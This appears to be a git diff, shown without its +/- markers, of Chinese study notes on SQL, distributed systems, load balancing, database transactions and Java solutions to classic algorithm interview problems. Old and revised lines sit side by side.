# 十六、组合查询
使用 **UNION** 来组合两个查询,如果第一个查询返回 M 行,第二个查询返回 N 行,那么组合查询的结果为 M+N 行。
使用 **UNION** 来组合两个查询,如果第一个查询返回 M 行,第二个查询返回 N 行,那么组合查询的结果一般为 M+N 行。
每个查询必须包含相同的列、表达式或者聚集函数。
每个查询必须包含相同的列、表达式聚集函数。
默认会去除相同行,如果需要保留相同行,使用 UNION ALL。
@ -522,9 +525,7 @@ WHERE col5 = val;
## 使用存储过程的好处
1. 代码封装,保证了一定的安全性;
2. 代码复用;
3. 由于是预先编译,因此具有很高的性能。
## 创建存储过程
@ -624,7 +625,7 @@ MySQL 不允许在触发器中使用 CALL 语句 ,也就是不能调用存储
不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CREATE 和 DROP 语句。
MySQL 的事务提交默认是隐式提交,也就是每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。
MySQL 的事务提交默认是隐式提交,每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。
通过设置 autocommit 为 0 可以取消自动提交,直到 autocommit 被设置为 1 才会提交autocommit 标记是针对每个连接而不是针对服务器的。
@ -705,8 +706,6 @@ SHOW GRANTS FOR myuser;
GRANT SELECT, INSERT ON mydatabase.* TO myuser;
```
<div align="center"> <img src="../pics//c73aa08e-a987-43c9-92be-adea4a884c25.png"/> </div><br>
账户用 username@host 的形式定义username@% 使用的是默认主机名。
## 删除权限

View File

@ -58,7 +58,7 @@ Two-phase Commit2PC
<div align="center"> <img src="../pics//3f5bba4b-7813-4aea-b578-970c7e3f6bf3.jpg"/> </div><br>
如果 Acceptor 接到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2那么就丢弃该提议请求否则发送提议响应该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
如果 Acceptor 接到一个提议请求,包含的提议为 [n2, v2],并且之前已经接收过提议 [n1, v1]。如果 n1 > n2那么就丢弃该提议请求否则发送提议响应该提议响应包含之前已经接收过的提议 [n1, v1],设置当前接收到的提议为 [n2, v2],并且保证以后不会再接受序号小于 n2 的提议。
如下图Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的提议请求,由于之前已经接收过 [n=4, v=5] 的提议,并且 n > 2因此就抛弃该提议请求Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的提议请求,因为之前接收到的提议为 [n=2, v=8],并且 2 <= 4因此就发送 [n=2, v=8] 的提议响应,设置当前接收到的提议为 [n=4, v=5],并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
@ -66,7 +66,7 @@ Two-phase Commit2PC
当一个 Proposer 接收到超过一半 Acceptor 的提议响应时,就可以发送接受请求。
Proposer A 接到两个提议响应之后,就发送 [n=2, v=8] 接受请求。该接受请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
Proposer A 接到两个提议响应之后,就发送 [n=2, v=8] 接受请求。该接受请求会被所有 Acceptor 丢弃,因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
Proposer B 过后也收到了两个提议响应,因此也开始发送接受请求。需要注意的是,接受请求的 v 需要取它收到的最大 v 值,也就是 8。因此它发送 [n=4, v=8] 的接受请求。

View File

@ -81,7 +81,7 @@
### 4. 可扩展性
指系统通过扩展集群服务器规模来提高性能的能力。理想的分布式系统需要实现“线性可扩展”,即随着集群规模的增加,系统的整体性能也会线增加。
指系统通过扩展集群服务器规模来提高性能的能力。理想的分布式系统需要实现“线性可扩展”,即随着集群规模的增加,系统的整体性能也会线增加。
# 二、数据分布
@ -95,7 +95,7 @@
**一致性哈希**
Distributed Hash TableDHT对于哈希空间 0\~2<sup>n</sup>,将该哈希空间看成一个哈希环,将每个节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
Distributed Hash TableDHT对于哈希空间 [0, 2<sup>n</sup>-1],将该哈希空间看成一个哈希环,将每个节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
<div align="center"> <img src="../pics//d2d34239-e7c1-482b-b33e-3170c5943556.jpg"/> </div><br>
@ -153,13 +153,15 @@ Distributed Hash TableDHT对于哈希空间 0\~2<sup>n</sup>,将该
在设计分布式系统时需要根据实际需求弱化某一要求。因此就有了下图中的三种设计CA、CP 和 AP。
<div align="center"> <img src="../pics//f50bc364-fdc2-4a46-9b8f-f8f5b6add3b8.jpg" width="300"/> </div><br>
<div align="center"> <img src="../pics//992faced-afcf-414d-b801-9c16d6570fec.jpg" width="500"/> </div><br>
需要注意的是,分区容忍性必不可少,因为需要总是假设网络是不可靠的。因此实际上设计分布式系统需要在一致性和可用性之间做权衡。
# 六、BASE
BASE 是 Basically Available基本可用、Soft state软状态和 Eventually consistent最终一致性三个短语的缩写。BASE 理论是对 CAP 中一致性和可用性权衡的结果,是基于 CAP 定理逐步演化而来的。BASE 理论的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
BASE 是 Basically Available基本可用、Soft State软状态和 Eventually Consistent最终一致性三个短语的缩写。BASE 理论是对 CAP 中一致性和可用性权衡的结果,是基于 CAP 定理逐步演化而来的。BASE 理论的核心思想是:即使无法做到强一致性,但每个应用都可以根据自身业务特点,采用适当的方式来使系统达到最终一致性。
<div align="center"> <img src="../pics//5930aeb8-847d-4e9f-a168-9334d7dec744.png" width="250"/> </div><br>
## 基本可用
@ -195,7 +197,7 @@ ACID 是传统数据库系统常用的设计理论,追求强一致性模型。
# 八、CDN 架构
CND 通过将内容发布到靠近用户的边缘节点,使不同地域的用户在访问相同网页时可以就近获取。不仅可以减轻服务器的负担,也可以提高用户的访问速度。
通过将内容发布到靠近用户的边缘节点,使不同地域的用户在访问相同网页时可以就近获取。不仅可以减轻服务器的负担,也可以提高用户的访问速度。
从下图可以看出DNS 在对域名解析时不再向用户返回源服务器的 IP 地址,而是返回边缘节点的 IP 地址,所以用户最终访问的是边缘节点。边缘节点会先从源服务器中获取用户所需的数据,如果请求成功,边缘节点会将页面缓存下来,下次用户访问时可以直接读取。

View File

@ -59,7 +59,7 @@
#### 2.1 消息处理模型
(一)点对点
(一)消息队列
<div align="center"> <img src="../pics//96b63e13-e2d8-4ddb-9aa1-a38959ca96e5.jpg" width="700"/> </div><br>
@ -74,11 +74,11 @@
发送端完成操作后一定能将消息成功发送到消息系统。
实现方法:在本地数据建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息中间件,若转移消息成功则删除消息表中的数据,否则继续重传。
实现方法:在本地数据建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息中间件,若转移消息成功则删除消息表中的数据,否则继续重传。
(二)接收端的可靠性
接收端仅且能够从消息中间件成功消费一次消息。
接收端能够从消息中间件成功消费一次消息。
实现方法:
@ -117,7 +117,7 @@
### 4. 加权最小连接Weighted Least Connection
在最小连接的基础上,根据服务器的性能为每台服务器分配权重,根据权重计算出每台服务器能处理的连接数。
在最小连接的基础上,根据服务器的性能为每台服务器分配权重,根据权重计算出每台服务器能处理的连接数。
<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
@ -127,6 +127,15 @@
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
### 6. 源地址哈希法 (IP Hash)
源地址哈希通过对客户端 IP 哈希计算得到的一个数值,用该数值对服务器数量进行取模运算,取模结果便是目标服务器的序号。
- 优点:保证同一 IP 的客户端都会被 hash 到同一台服务器上。
- 缺点:不利于集群扩展,后台服务器数量变更都会影响 hash 结果。可以采用一致性 Hash 改进。
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
## 实现
### 1. HTTP 重定向
@ -179,7 +188,7 @@ Java 提供了两种内置的锁的实现,一种是由 JVM 实现的 synchroni
## 使用场景
在服务器端使用分布式部署的情况下,一个服务可能分布在不同的节点上,比如订单服务分布在节点 A 和节点 B 上。如果多个客户端同时对一个服务进行请求时,就需要使用分布式锁。例如一个服务可以使用 APP 端或者 Web 端进行访问,如果一个用户同时使用 APP 端和 Web 端访问该服务,并且 APP 端的请求路由到了节点 AWEB 端的请求被路由到了节点 B这时候就需要使用分布式锁来进行同步。
在服务器端使用分布式部署的情况下,一个服务可能分布在不同的节点上,比如订单服务分布在节点 A 和节点 B 上。如果多个客户端同时对一个服务进行请求时,就需要使用分布式锁。例如一个服务可以使用 APP 端或者 Web 端进行访问,如果一个用户同时使用 APP 端和 Web 端访问该服务,并且 APP 端的请求路由到了节点 AWEB 端的请求被路由到了节点 B这时候就需要使用分布式锁来进行同步。
## 实现方式

View File

@ -90,22 +90,26 @@
在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。数组中某些数字是重复的,但不知道有几个数字是重复的。也不知道每个数字重复几次。请找出数组中任意一个重复的数字。例如,如果输入长度为 7 的数组 {2, 3, 1, 0, 2, 5, 3},那么对应的输出是第一个重复的数字 2。
要求复杂度为 O(N) + O(1),时间复杂度 O(N),空间复杂度 O(1)。因此不能使用排序的方法,也不能使用额外的标记数组。
## 解题思路
这种数组元素在 [0, n-1] 范围内的问题,可以将值为 i 的元素放到第 i 个位置上。
以 (2, 3, 1, 0, 2, 5) 为例:
```html
```text-html-basic
position-0 : (2,3,1,0,2,5) // 2 <-> 1
(1,3,2,0,2,5) // 1 <-> 3
(3,1,1,0,2,5) // 3 <-> 0
(0,1,1,3,2,5) // already in position
position-1 : (0,1,1,3,2,5) // already in position
position-2 : (0,1,1,3,2,5) // nums[i] == nums[nums[i]], exit
(3,1,2,0,2,5) // 3 <-> 0
(0,1,2,3,2,5) // already in position
position-1 : (0,1,2,3,2,5) // already in position
position-2 : (0,1,2,3,2,5) // already in position
position-3 : (0,1,2,3,2,5) // already in position
position-4 : (0,1,2,3,2,5) // nums[i] == nums[nums[i]], exit
```
遍历到位置 2 时,该位置上的数为 1但是第 1 个位置上已经有一个 1 的值了,因此可以知道 1 重复。
遍历到位置 4 时,该位置上的数为 2但是第 2 个位置上已经有一个 2 的值了,因此可以知道 2 重复。
复杂度O(N) + O(1)
@ -294,7 +298,7 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
## 题目描述
根据二叉树的前序遍历和中序遍历的结果,重建出该二叉树。
根据二叉树的前序遍历和中序遍历的结果,重建出该二叉树。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。
```html
preorder = [3,9,20,15,7]
@ -337,7 +341,7 @@ private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int[] in,
## 解题思路
① 如果一个节点右子树不为空,那么该节点的下一个节点是右子树的最左节点;
① 如果一个节点右子树不为空,那么该节点的下一个节点是右子树的最左节点;
<div align="center"> <img src="../pics//cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/> </div><br>
@ -391,12 +395,15 @@ public void push(int node) {
in.push(node);
}
public int pop() {
public int pop() throws Exception {
if (out.isEmpty()) {
while (!in.isEmpty()) {
out.push(in.pop());
}
}
if (out.isEmpty()) {
throw new Exception("queue is empty");
}
return out.pop();
}
```
@ -405,18 +412,48 @@ public int pop() {
## 题目描述
以 O(1) 的时间复杂度求菲波那切数列
求菲波那契数列的第 n 项
<div align="center"><img src="https://latex.codecogs.com/gif.latex?f(n)=\left\{\begin{array}{rcl}0&&{n=0}\\1&&{n=1}\\f(n-1)+f(n-2)&&{n>1}\end{array}\right."/></div> <br>
## 解题思路
如果使用递归求解,那么会重复计算一些子问题。例如,求 f(10) 需要计算 f(9) 和 f(8),计算 f(9) 需要计算 f(8) 和 f(7),可以看到 f(8) 被重复计算了。
如果使用递归求解,会重复计算一些子问题。例如,计算 f(10) 需要计算 f(9) 和 f(8),计算 f(9) 需要计算 f(8) 和 f(7),可以看到 f(8) 被重复计算了。
<div align="center"> <img src="../pics//955af054-8872-4569-82e7-2e10b66bc38e.png" width="300"/> </div><br>
递归方法是将一个问题划分成多个子问题求解,动态规划也是如此,但是动态规划会把子问题的解缓存起来,避免重复求解子问题。
```java
public int Fibonacci(int n) {
if(n <= 1) return n;
int[] fib = new int[n + 1];
fib[1] = 1;
for (int i = 2; i <= n; i++) {
fib[i] = fib[i - 1] + fib[i - 2];
}
return fib[n];
}
```
考虑到第 i 项只与第 i-1 和第 i-2 项有关,因此只需要存储前两项的值就能求解第 i 项,从而将空间复杂度由 O(N) 降低为 O(1)。
```java
public int Fibonacci(int n) {
if(n <= 1) return n;
int pre2 = 0, pre1 = 1;
int fib = 0;
for (int i = 2; i <= n; i++) {
fib = pre2 + pre1;
pre2 = pre1;
pre1 = fib;
}
return fib;
}
```
由于待求解的 n 小于 40因此可以将前 40 项的结果先进行计算,之后就能以 O(1) 时间复杂度得到第 n 项的值了。
```java
public class Solution {
private int[] fib = new int[40];
@ -441,6 +478,8 @@ public class Solution {
## 解题思路
复杂度O(N) + O(N)
```java
public int JumpFloor(int n) {
if (n == 1) return 1;
@ -454,6 +493,22 @@ public int JumpFloor(int n) {
}
```
复杂度O(N) + O(1)
```java
public int JumpFloor(int n) {
if (n <= 1) return n;
int pre2 = 0, pre1 = 1;
int result = 0;
for (int i = 1; i <= n; i++) {
result = pre2 + pre1;
pre2 = pre1;
pre1 = result;
}
return result;
}
```
# 10.3 变态跳台阶
## 题目描述
@ -483,9 +538,11 @@ public int JumpFloorII(int n) {
## 解题思路
复杂度O(N) + O(N)
```java
public int RectCover(int n) {
if (n < 2) return n;
if (n <= 2) return n;
int[] dp = new int[n];
dp[0] = 1;
dp[1] = 2;
@ -496,6 +553,22 @@ public int RectCover(int n) {
}
```
复杂度O(N) + O(1)
```java
public int RectCover(int n) {
if (n <= 2) return n;
int pre2 = 1, pre1 = 2;
int result = 0;
for (int i = 3; i <= n; i++) {
result = pre2 + pre1;
pre2 = pre1;
pre1 = result;
}
return result;
}
```
# 11. 旋转数组的最小数字
## 题目描述
@ -543,7 +616,11 @@ public int minNumberInRotateArray(int[] nums) {
## 题目描述
请设计一个函数,用来判断在一个矩阵中是否存在一条包含某字符串所有字符的路径。路径可以从矩阵中的任意一个格子开始,每一步可以在矩阵中向左,向右,向上,向下移动一个格子。如果一条路径经过了矩阵中的某一个格子,则该路径不能再进入该格子。例如 a b c e s f c s a d e e 矩阵中包含一条字符串 "bcced" 的路径,但是矩阵中不包含 "abcb" 路径,因为字符串的第一个字符 b 占据了矩阵中的第一行第二个格子之后,路径不能再次进入该格子。
请设计一个函数,用来判断在一个矩阵中是否存在一条包含某字符串所有字符的路径。路径可以从矩阵中的任意一个格子开始,每一步可以在矩阵中向左,向右,向上,向下移动一个格子。如果一条路径经过了矩阵中的某一个格子,则该路径不能再进入该格子。
例如下面的矩阵包含了一条 bfce 路径。
<div align="center"> <img src="../pics//e31abb94-9201-4e06-9902-61101b92f475.png" width="300"/> </div><br>
## 解题思路
@ -797,13 +874,13 @@ private void printNumber(char[] number) {
① 如果该节点不是尾节点,那么可以直接将下一个节点的值赋给该节点,令该节点指向下下个节点,然后删除下一个节点,时间复杂度为 O(1)。
<div align="center"> <img src="../pics//004edd56-1546-4052-a7f9-a9f7895ccec5.png" width="600"/> </div><br>
<div align="center"> <img src="../pics//41392d76-dd1d-4712-85d9-e8bb46b04a2d.png" width="600"/> </div><br>
② 否则,就需要先遍历链表,找到节点的前一个节点,然后让前一个节点指向 null时间复杂度为 O(N)。
<div align="center"> <img src="../pics//db4921d4-184b-48ba-a3cf-1d1141e3ba2d.png" width="600"/> </div><br>
综上,如果进行 N 次操作,那么大约需要操作节点的次数为 N-1+N=2N-1其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数N 表示 1 个为节点以 O(n) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2因此该算法的平均时间复杂度为 O(1)。
综上,如果进行 N 次操作,那么大约需要操作节点的次数为 N-1+N=2N-1其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数N 表示 1 个尾节点以 O(N) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2因此该算法的平均时间复杂度为 O(1)。
```java
public ListNode deleteNode(ListNode head, ListNode tobeDelete) {
@ -852,17 +929,17 @@ public ListNode deleteDuplication(ListNode pHead) {
## 解题思路
应该注意到,'.' 是用来代替一个任意字符,而 '\*' 是用来重复前面的字符。这两个的作用不同,不能把 '.' 的作用和 '\*' 进行类比,从而把它当成重复前面字符一次。
应该注意到,'.' 是用来当做一个任意字符,而 '\*' 是用来重复前面的字符。这两个的作用不同,不能把 '.' 的作用和 '\*' 进行类比,从而把它当成重复前面字符一次。
```html
p.charAt(j) == s.charAt(i) : dp[i][j] = dp[i-1][j-1];
p.charAt(j) == '.' : dp[i][j] = dp[i-1][j-1];
p.charAt(j) == '*' :
p.charAt(j-1) != s.charAt(i) : dp[i][j] = dp[i][j-2] // in this case, a* only counts as empty
p.charAt(j-1) != s.charAt(i) : dp[i][j] = dp[i][j-2] //a* only counts as empty
p.charAt(j-1) == s.charAt(i) or p.charAt(i-1) == '.':
dp[i][j] = dp[i-1][j] // in this case, a* counts as multiple a
or dp[i][j] = dp[i][j-1] // in this case, a* counts as single a
or dp[i][j] = dp[i][j-2] // in this case, a* counts as empty
dp[i][j] = dp[i-1][j] // a* counts as multiple a
or dp[i][j] = dp[i][j-1] // a* counts as single a
or dp[i][j] = dp[i][j-2] // a* counts as empty
```
```java
@ -1067,7 +1144,7 @@ public ListNode Merge(ListNode list1, ListNode list2) {
ListNode head = new ListNode(-1);
ListNode cur = head;
while (list1 != null && list2 != null) {
if (list1.val < list2.val) {
if (list1.val <= list2.val) {
cur.next = list1;
list1 = list1.next;
} else {
@ -1217,6 +1294,8 @@ public int min() {
## 解题思路
使用一个栈来模拟压入弹出操作。
```java
public boolean IsPopOrder(int[] pushA, int[] popA) {
int n = pushA.length;
@ -1332,7 +1411,7 @@ public ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
## 题目描述
输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果。
输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果。假设输入的数组的任意两个数字都互不相同。
例如,下图是后序遍历序列 3,1,2 所对应的二叉搜索树。
@ -1494,7 +1573,7 @@ public class Solution {
public String Serialize(TreeNode root) {
if (root == null) return "#";
return root.val + " " + Serialize(root.left) + " " + Serialize(root.right);
return root.val + " " + Serialize(root.left) + " " + Serialize(root.right);
}
public TreeNode Deserialize(String str) {
@ -1557,7 +1636,7 @@ private void backtracking(char[] chars, boolean[] hasUsed, StringBuffer s) {
## 解题思路
多数投票问题,可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题,使得时间复杂度为 O(n)。
多数投票问题,可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题,使得时间复杂度为 O(N)。
使用 cnt 来统计一个元素出现的次数,当遍历到的元素和统计元素不相等时,令 cnt--。如果前面查找了 i 个元素,且 cnt == 0 ,说明前 i 个元素没有 majority或者有 majority但是出现的次数少于 i / 2 ,因为如果多于 i / 2 的话 cnt 就一定不会为 0 。此时剩下的 n - i 个元素中majority 的数目依然多于 (n - i) / 2因此继续查找就能找出 majority。
@ -1596,36 +1675,30 @@ public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
int kthSmallest = findKthSmallest(nums, k - 1);
ArrayList<Integer> ret = new ArrayList<>();
for (int val : nums) {
if (val <= kthSmallest && ret.size() < k) ret.add(val);
if (val <= kthSmallest && ret.size() < k) {
ret.add(val);
}
}
return ret;
}
public int findKthSmallest(int[] nums, int k) {
int l = 0;
int h = nums.length - 1;
int l = 0, h = nums.length - 1;
while (l < h) {
int j = partition(nums, l, h);
if (j < k) {
l = j + 1;
} else if (j > k) {
h = j - 1;
} else {
break;
}
if (j == k) break;
if (j > k) h = j - 1;
else l = j + 1;
}
return nums[k];
}
private int partition(int[] nums, int l, int h) {
int i = l;
int j = h + 1;
int i = l, j = h + 1;
while (true) {
while (i < h && nums[++i] < nums[l]) ;
while (j > l && nums[l] < nums[--j]) ;
if (i >= j) {
break;
}
if (i >= j) break;
swap(nums, i, j);
}
swap(nums, l, j);
@ -1633,9 +1706,7 @@ private int partition(int[] nums, int l, int h) {
}
private void swap(int[] nums, int i, int j) {
int t = nums[i];
nums[i] = nums[j];
nums[j] = t;
int t = nums[i]; nums[i] = nums[j]; nums[j] = t;
}
```
@ -1805,7 +1876,7 @@ private int getAmountOfDigit(int digit) {
}
/**
* 在 digit 位数组成的字符串中,第 index 为的
* 在 digit 位数组成的字符串中,第 index
*/
private int digitAtIndex(int index, int digit) {
int number = beginNumber(digit) + index / digit;
@ -1917,6 +1988,7 @@ public int longestSubStringWithoutDuplication(String str) {
int curLen = 0;
int maxLen = 0;
int[] indexs = new int[26];
Arrays.fill(indexs, -1);
for (int i = 0; i < str.length(); i++) {
int c = str.charAt(i) - 'a';
int preIndex = indexs[c];
@ -1941,21 +2013,19 @@ public int longestSubStringWithoutDuplication(String str) {
## 解题思路
```java
public int GetUglyNumber_Solution(int N) {
if (N <= 6) return N;
public int GetUglyNumber_Solution(int index) {
if (index <= 6) return index;
int i2 = 0, i3 = 0, i5 = 0;
int cnt = 1;
int[] dp = new int[N];
int[] dp = new int[index];
dp[0] = 1;
while (cnt < N) {
for (int i = 1; i < index; i++) {
int n2 = dp[i2] * 2, n3 = dp[i3] * 3, n5 = dp[i5] * 5;
int min = Math.min(n2, Math.min(n3, n5));
dp[cnt++] = min;
if (min == n2) i2++;
if (min == n3) i3++;
if (min == n5) i5++;
dp[i] = Math.min(n2, Math.min(n3, n5));
if (dp[i] == n2) i2++;
if (dp[i] == n3) i3++;
if (dp[i] == n5) i5++;
}
return dp[N - 1];
return dp[index - 1];
}
```
@ -1978,7 +2048,7 @@ public int FirstNotRepeatingChar(String str) {
}
```
以上的空间复杂度还不是最优的。考虑到只需要找到只出现一次的字符,那么我们只需要统计的次数信息只有 0,1,更大,那么使用两个比特位就能存储这些信息。
以上实现的空间复杂度还不是最优的。考虑到只需要找到只出现一次的字符,那么我们只需要统计的次数信息只有 0,1,更大,那么使用两个比特位就能存储这些信息。
```java
public int FirstNotRepeatingChar(String str) {
@ -2077,7 +2147,10 @@ Output:
## 解题思路
可以用二分查找找出数字在数组的最左端和最右端。
可以用二分查找找出数字在数组的最左端和最右端,找最左端和最右端在方法实现上的区别主要在于对 nums[m] == K 的处理:
- 找最左端令 h = m - 1
- 找最右端令 l = m + 1
```java
public int GetNumberOfK(int[] nums, int K) {
@ -2313,7 +2386,7 @@ private void reverse(char[] c, int i, int j) {
## 解题思路
```java
public String LeftRotateString(String str,int n) {
public String LeftRotateString(String str, int n) {
if(str.length() == 0) return "";
char[] c = str.toCharArray();
reverse(c, 0, n - 1);
@ -2365,7 +2438,7 @@ public ArrayList<Integer> maxInWindows(int[] num, int size) {
### 动态规划解法
空间复杂度O(n<sup>2</sup>)
空间复杂度O(N<sup>2</sup>)
```java
private static int face = 6;
@ -2393,7 +2466,7 @@ public double countProbability(int n, int s) {
### 动态规划解法 + 旋转数组
空间复杂度O(n)
空间复杂度O(N)
```java
private static int face = 6;
@ -2449,11 +2522,11 @@ public boolean isContinuous(int[] nums) {
## 题目描述
让小朋友们围成一个大圈。然后 , 他随机指定一个数 m, 让编号为 0 的小朋友开始报数。每次喊到 m-1 的那个小朋友要出列唱首歌 , 然后可以在礼品箱中任意的挑选礼物 , 并且不再回到圈中 , 从他的下一个小朋友开始 , 继续 0...m-1 报数 .... 这样下去 .... 直到剩下最后一个小朋友 , 可以不用表演。
让小朋友们围成一个大圈。然后,他随机指定一个数 m让编号为 0 的小朋友开始报数。每次喊到 m-1 的那个小朋友要出列唱首歌,然后可以在礼品箱中任意的挑选礼物,并且不再回到圈中,从他的下一个小朋友开始,继续 0...m-1 报数 .... 这样下去 .... 直到剩下最后一个小朋友,可以不用表演。
## 解题思路
约瑟夫环
约瑟夫环,圆圈长度为 n 的解可以看成长度为 n-1 的解再加上报数的长度 m。因为是圆圈所以最后需要对 n 取余。
```java
public int LastRemaining_Solution(int n, int m) {
@ -2471,6 +2544,8 @@ public int LastRemaining_Solution(int n, int m) {
## 解题思路
使用贪心策略,假设第 i 轮进行卖出操作,买入操作价格应该是 i 之前并且价格最低。
```java
public int maxProfit(int[] prices) {
int n = prices.length;
@ -2503,7 +2578,11 @@ public int Sum_Solution(int n) {
# 65. 不用加减乘除做加法
a ^ b 表示没有考虑进位的情况下两数的和,(a & b) << 1 就是进位递归会终止的原因是 (a & b) << 1 最右边会多一个 0那么继续递归进位最右边的 0 会慢慢增多最后进位会变为 0递归终止
## 解题思路
a ^ b 表示没有考虑进位的情况下两数的和,(a & b) << 1 就是进位
递归会终止的原因是 (a & b) << 1 最右边会多一个 0那么继续递归进位最右边的 0 会慢慢增多最后进位会变为 0递归终止
```java
public int Add(int num1, int num2) {
@ -2536,6 +2615,8 @@ public int[] multiply(int[] A) {
# 67. 把字符串转换成整数
## 解题思路
```java
public int StrToInt(String str) {
if (str.length() == 0) return 0;
@ -2544,7 +2625,7 @@ public int StrToInt(String str) {
int ret = 0;
for (int i = 0; i < chars.length; i++) {
if (i == 0 && (chars[i] == '+' || chars[i] == '-')) continue;
if (chars[i] < '0' || chars[i] > '9') return 0;
if (chars[i] < '0' || chars[i] > '9') return 0; // 非法输入
ret = ret * 10 + (chars[i] - '0');
}
return isNegative ? -ret : ret;
@ -2559,6 +2640,8 @@ public int StrToInt(String str) {
<div align="center"> <img src="../pics//293d2af9-de1d-403e-bed0-85d029383528.png" width="300"/> </div><br>
二叉查找树中,两个节点 p, q 的公共祖先 root 满足 p.val <= root.val && root.val <= q.val只要找到满足这个条件的最低层节点即可。换句话说应该先考虑子树的解而不是根节点的解二叉树的后序遍历操作满足这个特性。在本题中我们可以利用后序遍历的特性先在左右子树中查找解最后再考虑根节点的解。
```java
public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
if(root.val > p.val && root.val > q.val) return lowestCommonAncestor(root.left, p, q);
@ -2571,6 +2654,8 @@ public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
<div align="center"> <img src="../pics//37a72755-4890-4b42-9eab-b0084e0c54d9.png" width="300"/> </div><br>
在左右子树中查找两个节点的最低公共祖先,如果在其中一颗子树中查找到,那么就返回这个解,否则可以认为根节点就是最低公共祖先。
```java
public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
if (root == null || root == p || root == q) return root;

View File

@ -42,13 +42,13 @@
## 概念
<div align="center"> <img src="../pics//4f4deaf4-8487-4de2-9d62-5ad017ee9589.png"/> </div><br>
<div align="center"> <img src="../pics//185b9c49-4c13-4241-a848-fbff85c03a64.png"/> </div><br>
事务指的是满足 ACID 特性的一系列操作。在数据库中,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。
## 四大特性
<div align="center"> <img src="../pics//fd945daf-4a6c-4f20-b9c2-5390f5955ce5.jpg" width="500"/> </div><br>
<div align="center"> <img src="../pics//09e6e8d4-4d83-4949-b908-6d6b4c2fd064.png"/> </div><br>
### 1. 原子性Atomicity
@ -76,23 +76,25 @@
T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改T<sub>1</sub> 先修改T<sub>2</sub> 随后修改T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
<div align="center"> <img src="../pics//88ff46b3-028a-4dbb-a572-1f062b8b96d3.png"/> </div><br>
### 2. 读脏数据
T<sub>1</sub> 修改一个数据T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改,那么 T<sub>2</sub> 读取的数据是脏数据。
<div align="center"> <img src="../pics//d1ab24fa-1a25-4804-aa91-513df55cbaa6.jpg" width="800"/> </div><br>
<div align="center"> <img src="../pics//dd782132-d830-4c55-9884-cfac0a541b8e.png"/> </div><br>
### 3. 不可重复读
T<sub>2</sub> 读取一个数据T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据,此时读取的结果和和第一次读取的结果不同。
<div align="center"> <img src="../pics//d0175e0c-859e-4991-b263-8378e52f7ee5.jpg" width="800"/> </div><br>
<div align="center"> <img src="../pics//c8d18ca9-0b09-441a-9a0c-fb063630d708.png"/> </div><br>
### 4. 幻影读
T<sub>1</sub> 读取某个范围的数据T<sub>2</sub> 在这个范围内插入新的数据T<sub>1</sub> 再次读取这个范围的数据,此时读取的结果和和第一次读取的结果不同。
<div align="center"> <img src="../pics//d589eca6-c7cf-49c5-ac96-8e4ca0cccadd.jpg" width="800"/> </div><br>
<div align="center"> <img src="../pics//72fe492e-f1cb-4cfc-92f8-412fb3ae6fec.png"/> </div><br>
## 解决方法
@ -100,7 +102,7 @@ T<sub>1</sub> 读取某个范围的数据T<sub>2</sub> 在这个范围内插
在没有并发的情况下,事务以串行的方式执行,互不干扰,因此可以保证隔离性。在并发的情况下,如果能通过并发控制,让事务的执行结果和某一个串行执行的结果相同,就认为事务的执行结果满足隔离性要求,也就是说是正确的。把这种事务执行方式称为 **可串行化调度**
